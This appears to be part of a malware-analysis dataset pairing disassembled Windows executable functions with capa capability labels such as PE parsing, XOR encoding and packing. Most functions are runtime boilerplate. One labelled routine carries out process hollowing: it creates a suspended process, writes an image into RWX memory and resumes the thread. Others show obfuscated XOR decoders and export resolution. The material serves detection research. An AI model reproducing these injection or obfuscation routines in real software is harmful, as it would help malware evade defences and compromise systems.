joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x433004]
jne 0x40100a
repz ret
jmp fcn.004018f4

Function at 0x406768
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004025e7
and dword [ebp - 4], 0
cmp dword [0x434a3c], 0
mov ebx, eax
jne 0x406819
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4068ca
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4068ca
push eax
call fcn.00402575
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x434a3c], eax
call esi
push eax
call fcn.00402575
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x434a40], eax
call esi
push eax
call fcn.00402575
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x434a44], eax
call esi
push eax
call fcn.00402575
pop ecx
mov dword [0x434a4c], eax
test eax, eax
je 0x406819
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00402575
pop ecx
mov dword [0x434a48], eax
mov eax, dword [0x434a48]
cmp eax, ebx
je 0x406871
cmp dword [0x434a4c], ebx
je 0x406871
push eax
call fcn.004025f0
push dword [0x434a4c]
mov esi, eax
call fcn.004025f0
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x406871
test edi, edi
je 0x406871
call esi
test eax, eax
je 0x406868
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x406868
test byte [ebp - 0xc], 1
jne 0x406871
or dword [ebp + 0x10], 0x200000
jmp 0x4068aa
mov eax, dword [0x434a40]
cmp eax, ebx
je 0x4068aa
push eax
call fcn.004025f0
pop ecx
test eax, eax
je 0x4068aa
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4068aa
mov eax, dword [0x434a44]
cmp eax, ebx
je 0x4068aa
push eax
call fcn.004025f0
pop ecx
test eax, eax
je 0x4068aa
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x434a3c]
call fcn.004025f0
pop ecx
test eax, eax
je 0x4068ca
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4068cc
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x42fe20
Capabilities:
Encode data using xor

Disassembly:
sub esp, 8
push ebp
mov ebp, dword [esp + 0x10]
push edi
cmp ebp, 0x19f
jne 0x42fe41
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
xor edi, edi
test ebp, ebp
jle 0x42fe96
push esi
jmp 0x42fe50
lea esi, [esp + 0x10]
mov dword [esp + 0xc], 5
mov dword [esp + 0x10], 0
call fcn.0042fe10
mov eax, dword [esp + 0x10]
add eax, 0x46
mov dword [esp + 0xc], eax
sub dword [esp + 0xc], 0x46
movsx eax, byte [edi + ebx]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0xc]
xor dword [esp + 0x18], eax
mov cl, byte [esp + 0x18]
mov byte [edi + ebx], cl
inc edi
cmp edi, ebp
jl 0x42fe50
pop esi
pop edi
cmp ebp, 0x2d
pop ebp
jne 0x42feb1
mov dword [0x2b32c50], 0xa62e7790
mov dword [0x2b32c54], 0xffffffff
add esp, 8
ret
Function at 0x10001950
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resume thread
Terminate process
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
push ebx
push esi
push edi
mov edi, ecx
mov ebx, edx
mov esi, dword [edi + 0x3c]
add esi, edi
cmp dword [esi], 0x4550
jne 0x10001b3b
call fcn.10006255
cdq
mov ecx, 0x14d
idiv ecx
add edx, 0x258
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x44
xorps xmm0, xmm0
lea eax, [ebp - 0x68]
push 0
push eax
movq qword [ebp - 0x20], xmm0
movq qword [ebp - 0x18], xmm0
call fcn.100086e0
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x68]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x10001b3b
call fcn.10006255
cdq
mov ecx, 0x14d
idiv ecx
add edx, 0x258
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
push 4
push 0x1000
push 4
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
push ebx
mov dword [ebx], 0x10007
push dword [ebp - 0x1c]
mov dword [ebp - 0xc], ebx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x10001b3b
push 0
push 4
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0x40
push 0x3000
push dword [esi + 0x50]
push dword [esi + 0x34]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
push dword [esi + 0x54]
mov dword [ebp - 8], eax
push edi
push eax
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
mov dword [ebp - 4], 0
cmp ax, word [esi + 6]
jae 0x10001aa8
xor ebx, ebx
mov ecx, dword [edi + 0x3c]
add ecx, ebx
push 0
push dword [ecx + edi + 0x108]
mov eax, dword [ecx + edi + 0x10c]
add eax, edi
push eax
mov eax, dword [ecx + edi + 0x104]
add eax, dword [ebp - 8]
push eax
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 4]
movzx eax, word [esi + 6]
inc ecx
add ebx, 0x28
mov dword [ebp - 4], ecx
cmp ecx, eax
jl 0x10001a67
mov ebx, dword [ebp - 0xc]
push 0
push 4
lea eax, [esi + 0x34]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call fcn.10006255
cdq
mov ecx, 0x14d
idiv ecx
add edx, 0x258
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 8]
test ecx, ecx
jle 0x10001b0e
mov eax, dword [esi + 0x28]
add eax, ecx
push ebx
mov dword [ebx + 0xb0], eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x20]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [ebp - 0x1c]
call edi
push dword [ebp - 0x18]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push 1
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call edi
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10001b50
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp dword [0x10023a1c], 0x10
push ebx
push esi
push edi
mov eax, 0x10023a08
cmovae eax, dword [0x10023a08]
push 0x1001f474
push eax
mov esi, ecx
call fcn.10005ec6
push 2
mov ebx, eax
push 0
push ebx
mov dword [ebp - 0xc], ebx
call fcn.1000694b
push ebx
call fcn.10006854
mov dword [esi], eax
dec eax
push eax
call fcn.100048b8
push dword [esi]
mov dword [ebp - 4], eax
call fcn.10005632
push 0
push 0
push ebx
mov edi, eax
call fcn.1000694b
push ebx
push dword [esi]
push 1
push edi
call fcn.100061a9
mov esi, dword [esi]
movzx ebx, byte [edi]
xor ecx, ecx
dec esi
lea edx, [ecx + 1]
add esp, 0x3c
mov dword [ebp - 8], esi
cmp esi, edx
jbe 0x10001bef
lea ecx, [ecx]
movsx eax, byte [edi + edx]
sub eax, ebx
sub eax, ecx
cmp ecx, 9
jl 0x10001be1
xor ecx, ecx
jmp 0x10001be2
inc ecx
mov esi, dword [ebp - 4]
inc edx
mov byte [esi + edx - 2], al
cmp edx, dword [ebp - 8]
jb 0x10001bd0
push dword [ebp - 0xc]
call fcn.10006a81
mov eax, dword [ebp - 4]
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10003780
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1001a0e8
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x1002268c]
xor eax, esp
mov dword [esp + 0x20], eax
push ebx
push esi
push edi
mov eax, dword [0x1002268c]
xor eax, esp
push eax
lea eax, [esp + 0x38]
mov dword fs:[0], eax
mov ebx, ecx
cmp dword [ebx + 0x40], 0
je 0x100038d4
cmp byte [ebx + 0x45], 0
je 0x100038d4
mov eax, dword [ebx]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
jne 0x100037e0
xor al, al
jmp 0x100038d6
mov ecx, 0xf
mov byte [esp + 0x18], 0
xorps xmm0, xmm0
movq qword [esp + 0x18], xmm0
lea eax, [esp + 0x18]
cmp ecx, 0x10
cmovae eax, dword [esp + 0x18]
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x28], 8
mov byte [eax + 8], 0
mov dword [esp + 0x40], 0
jmp 0x10003820
cmp dword [esp + 0x2c], 0x10
mov ecx, dword [ebx + 0x40]
lea eax, [esp + 0x14]
mov edx, dword [ecx]
push eax
mov eax, dword [esp + 0x2c]
lea edi, [esp + 0x1c]
cmovae edi, dword [esp + 0x1c]
lea esi, [esp + 0x1c]
cmovae esi, dword [esp + 0x1c]
add eax, edi
push eax
push esi
lea eax, [ebx + 0x48]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x10003861
dec eax
je 0x10003865
sub eax, 2
je 0x100038bb
xor bl, bl
jmp 0x100038bd
mov byte [ebx + 0x45], 0
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x18]
mov esi, dword [esp + 0x14]
cmp ecx, 0x10
lea eax, [esp + 0x18]
cmovae eax, edx
sub esi, eax
je 0x1000389c
push dword [ebx + 0x50]
cmp ecx, 0x10
push esi
lea eax, [esp + 0x20]
cmovae eax, edx
push 1
push eax
call fcn.1000647d
add esp, 0x10
cmp esi, eax
jne 0x1000385d
cmp byte [ebx + 0x45], 0
je 0x100038bb
test esi, esi
jne 0x10003820
push esi
push 8
lea ecx, [esp + 0x20]
call fcn.10003250
jmp 0x10003820
mov bl, 1
cmp dword [esp + 0x2c], 0x10
jb 0x100038d0
push dword [esp + 0x18]
call fcn.100062a2
add esp, 4
mov al, bl
jmp 0x100038d6
mov al, 1
mov ecx, dword [esp + 0x38]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.10004bbd
mov esp, ebp
pop ebp
ret
Function at 0x100135c8
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1002268c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.1000e658
mov dword [ebp - 0x14], eax
cmp dword [0x1002493c], edi
jne 0x100136b9
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x10013646
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x10013799
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x10013799
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10013799
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x1002493c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x10024940], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x10024944], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x1002494c], eax
test eax, eax
je 0x100136b6
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x10024948], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x100136de
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x100136d1
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x100136f3
push 4
pop eax
jmp 0x1001379b
cmp dword [ebp - 0x14], edi
je 0x100136f3
push dword [0x1002493c]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x100136d8
mov eax, dword [0x10024948]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x10013751
cmp dword [0x1002494c], esi
je 0x10013751
push eax
call ebx
push dword [0x1002494c]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x10013751
test eax, eax
je 0x10013751
call ecx
test eax, eax
je 0x10013746
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x10013746
test byte [ebp - 8], 1
jne 0x10013751
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x10013781
mov eax, dword [0x10024940]
cmp eax, esi
je 0x1001377e
push eax
call ebx
test eax, eax
je 0x1001377e
call eax
mov edi, eax
test edi, edi
je 0x1001377e
mov eax, dword [0x10024944]
cmp eax, esi
je 0x1001377e
push eax
call ebx
test eax, eax
je 0x1001377e
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x1002493c]
call ebx
test eax, eax
je 0x10013799
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x1001379b
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10004bbd
leave
ret
Function at 0xa42340
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x122000]
push edi
or ebp, 0xffffffff
jmp 0xa42362
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0xa42369
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xa42358
mov eax, 1
add ebx, ebx
jne 0xa4237b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0xa4238c
jne 0xa423ab
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xa423ab
dec eax
add ebx, ebx
jne 0xa42398
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0xa42370
add ebx, ebx
jne 0xa423a7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0xa423fd
xor ecx, ecx
sub eax, 3
jb 0xa423c3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0xa42432
sar eax, 1
mov ebp, eax
jmp 0xa423ce
add ebx, ebx
jne 0xa423ce
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xa4239c
inc ecx
add ebx, ebx
jne 0xa423dc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xa4239c
add ebx, ebx
jne 0xa423e9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0xa423de
jne 0xa423fa
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0xa423de
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0xa4241c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0xa4240e
jmp 0xa4235e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0xa4241c
add edi, ecx
jmp 0xa4235e
pop esi
mov edi, esi
mov ecx, 0x6e9a
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0xa4243a
cmp byte [edi], 0x16
jne 0xa4243a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0xa4243f
lea edi, [esi + 0x5ce000]
mov eax, dword [edi]
or eax, eax
je 0xa424b7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x646a78]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x646c18]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0xa4246c
mov ecx, edi
jns 0xa4249b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x646c20]
or eax, eax
je 0xa424b1
mov dword [ebx], eax
add ebx, 4
jmp 0xa42489
call dword [esi + 0x646c1c]
mov ebp, dword [esi + 0x646c24]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x237]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0xa424eb
sub esp, 0xffffff80
jmp 0x4cbaa2
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x43b640
Capabilities:
Encode data using xor

Disassembly:
push 0x43b3c1
pop eax
sub esi, esi
sub esp, 4
mov dword [esp], 0x20b796a5
pop esi
call fcn.0043b687
sub esi, 0xb890378c
xor dword [ebx], eax
push 0xb24b92b8
mov esi, dword [esp]
add esp, 4
add edi, 0x1c9fce43
inc edi
inc ebx
or esi, edi
cmp ebx, edx
jne fcn.0043b640
push 0x44db5bc7
mov esi, dword [esp]
add esp, 4
ret
Function at 0x6864f4a1
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x4c
mov eax, dword [ebp + 8]
cdq
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], edx
jmp 0x6864f520
jmp 0x6864f58e
jmp 0x6864f5fc
jmp 0x6864f66a
jmp 0x6864f6d8
jmp 0x6864f746
jmp 0x6864f7b4
jmp 0x6864f822
jmp 0x6864f890
jmp 0x6864f8fe
jmp 0x6864f96c
jmp 0x6864f9da
jmp 0x6864fa48
jmp 0x6864fab6
jmp 0x6864fb24
jmp 0x6864fb92
jmp 0x6864fc00
jmp 0x6864fc6e
jmp 0x6864fcdc
jmp 0x6864fd4a
jmp 0x6864fdb8
jmp 0x6864fe26
jmp 0x6864fe94
jmp 0x6864ff02
jmp 0x6864ff70
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
jmp 0x6864ffe4
jmp 0x68650052
jmp 0x686500c0
jmp 0x6865012e
jmp 0x6865019c
jmp 0x6865020a
jmp 0x68650278
jmp 0x686502e6
jmp 0x68650354
jmp 0x686503c2
jmp 0x68650430
jmp 0x6865049e
jmp 0x6865050c
jmp 0x6865057a
jmp 0x686505e8
jmp 0x68650656
jmp 0x686506c4
jmp 0x68650732
jmp 0x686507a0
jmp 0x6865080e
jmp 0x6865087c
jmp 0x686508ea
jmp 0x68650958
jmp 0x686509c6
jmp 0x68650a34
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0x3c]
mov ecx, eax
mov ebx, eax
sar ebx, 0x1f
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x20], eax
jmp 0x68650abc
jmp 0x68650b2a
jmp 0x68650b98
jmp 0x68650c06
jmp 0x68650c74
jmp 0x68650ce2
jmp 0x68650d50
jmp 0x68650dbe
jmp 0x68650e2c
jmp 0x68650e9a
jmp 0x68650f08
jmp 0x68650f76
jmp 0x68650fe4
jmp 0x68651052
jmp 0x686510c0
jmp 0x6865112e
jmp 0x6865119c
jmp 0x6865120a
jmp 0x68651278
jmp 0x686512e6
jmp 0x68651354
jmp 0x686513c2
jmp 0x68651430
jmp 0x6865149e
jmp 0x6865150c
mov eax, dword [ebp - 0x20]
add eax, 0x78
mov dword [ebp - 0x24], eax
jmp 0x68651583
jmp 0x686515f1
jmp 0x6865165f
jmp 0x686516cd
jmp 0x6865173b
jmp 0x686517a9
jmp 0x68651817
jmp 0x68651885
jmp 0x686518f3
jmp 0x68651961
jmp 0x686519cf
jmp 0x68651a3d
jmp 0x68651aab
jmp 0x68651b19
jmp 0x68651b87
jmp 0x68651bf5
jmp 0x68651c63
jmp 0x68651cd1
jmp 0x68651d3f
jmp 0x68651dad
jmp 0x68651e1b
jmp 0x68651e89
jmp 0x68651ef7
jmp 0x68651f65
jmp 0x68651fd3
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov ecx, eax
mov ebx, 0
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x28], eax
jmp 0x6865205a
jmp 0x686520c8
jmp 0x68652136
jmp 0x686521a4
jmp 0x68652212
jmp 0x68652280
jmp 0x686522ee
jmp 0x6865235c
jmp 0x686523ca
jmp 0x68652438
jmp 0x686524a6
jmp 0x68652514
jmp 0x68652582
jmp 0x686525f0
jmp 0x6865265e
jmp 0x686526cc
jmp 0x6865273a
jmp 0x686527a8
jmp 0x68652816
jmp 0x68652884
jmp 0x686528f2
jmp 0x68652960
jmp 0x686529ce
jmp 0x68652a3c
jmp 0x68652aaa
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x1c]
mov ecx, eax
mov ebx, 0
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x2c], eax
jmp 0x68652b32
jmp 0x68652ba0
jmp 0x68652c0e
jmp 0x68652c7c
Function at 0x6866e7f8
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x68c8b018]
movzx eax, word [eax + 0x14]
movzx eax, ax
mov edx, dword [0x68c8b018]
add eax, edx
add eax, 0x18
mov dword [ebp - 0xc], eax
jmp 0x6866e886
jmp 0x6866e8f4
jmp 0x6866e962
jmp 0x6866e9d0
jmp 0x6866ea3e
jmp 0x6866eaac
jmp 0x6866eb1a
jmp 0x6866eb88
jmp 0x6866ebf6
jmp 0x6866ec64
jmp 0x6866ecd2
jmp 0x6866ed40
jmp 0x6866edae
jmp 0x6866ee1c
jmp 0x6866ee8a
jmp 0x6866eef8
jmp 0x6866ef66
jmp 0x6866efd4
jmp 0x6866f042
jmp 0x6866f0b0
jmp 0x6866f11e
jmp 0x6866f18c
jmp 0x6866f1fa
jmp 0x6866f268
jmp 0x6866f2d6
mov dword [ebp - 0x14], 0
jmp 0x6866f34b
jmp 0x6866f3b9
jmp 0x6866f427
jmp 0x6866f495
jmp 0x6866f503
jmp 0x6866f571
jmp 0x6866f5df
jmp 0x6866f64d
jmp 0x6866f6bb
jmp 0x6866f729
jmp 0x6866f797
jmp 0x6866f805
jmp 0x6866f873
jmp 0x6866f8e1
jmp 0x6866f94f
jmp 0x6866f9bd
jmp 0x6866fa2b
jmp 0x6866fa99
jmp 0x6866fb07
jmp 0x6866fb75
jmp 0x6866fbe3
jmp 0x6866fc51
jmp 0x6866fcbf
jmp 0x6866fd2d
jmp 0x6866fd9b
mov dword [ebp - 0x18], 0
jmp 0x6866fe10
jmp 0x6866fe7e
jmp 0x6866feec
jmp 0x6866ff5a
jmp 0x6866ffc8
jmp 0x68670036
jmp 0x686700a4
jmp 0x68670112
jmp 0x68670180
jmp 0x686701ee
jmp 0x6867025c
jmp 0x686702ca
jmp 0x68670338
jmp 0x686703a6
jmp 0x68670414
jmp 0x68670482
jmp 0x686704f0
jmp 0x6867055e
jmp 0x686705cc
jmp 0x6867063a
jmp 0x686706a8
jmp 0x68670716
jmp 0x68670784
jmp 0x686707f2
jmp 0x68670860
mov dword [ebp - 0x10], 0
jmp 0x686708d5
jmp 0x68670943
jmp 0x686709b1
jmp 0x68670a1f
jmp 0x68670a8d
jmp 0x68670afb
jmp 0x68670b69
jmp 0x68670bd7
jmp 0x68670c45
jmp 0x68670cb3
jmp 0x68670d21
jmp 0x68670d8f
jmp 0x68670dfd
jmp 0x68670e6b
jmp 0x68670ed9
jmp 0x68670f47
jmp 0x68670fb5
jmp 0x68671023
jmp 0x68671091
jmp 0x686710ff
jmp 0x6867116d
jmp 0x686711db
jmp 0x68671249
jmp 0x686712b7
jmp 0x68671325
mov dword [ebp - 0x10], 0
jmp 0x6867492f
jmp 0x6867139f
jmp 0x6867140d
jmp 0x6867147b
jmp 0x686714e9
jmp 0x68671557
jmp 0x686715c5
jmp 0x68671633
jmp 0x686716a1
jmp 0x6867170f
jmp 0x6867177d
jmp 0x686717eb
jmp 0x68671859
jmp 0x686718c7
jmp 0x68671935
jmp 0x686719a3
jmp 0x68671a11
jmp 0x68671a7f
jmp 0x68671aed
jmp 0x68671b5b
jmp 0x68671bc9
jmp 0x68671c37
jmp 0x68671ca5
jmp 0x68671d13
jmp 0x68671d81
jmp 0x68671def
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xc]
mov edx, dword [0x68c8b014]
add eax, edx
mov dword [ebp - 0x14], eax
jmp 0x68671e6e
jmp fcn.68671edc
mov eax, dword [0x68c8b018]
movzx eax, word [eax + 6]
movzx eax, ax
cmp eax, dword [ebp - 0x10]
ja 0x68671331
nop
leave
ret
Function at 0x407180
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x4071be
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x4071b6
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x4071c0
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x4071a6
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x4072a0
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x4072b6
xor eax, eax
pop ebp
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
xor eax, eax
cmp dword [ecx], 0x4550
jne 0x4072d1
mov edx, 0x10b
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret

Function at 0x42e006
Capabilities:
Encode data using xor

Disassembly:
call 0x42e00c
nop
nop
nop
nop
pop eax
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
nop
nop
nop
nop
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x42e030
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x42e01e
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp int.00401219

Function at 0x401a6a
Capabilities:
Parse pe header

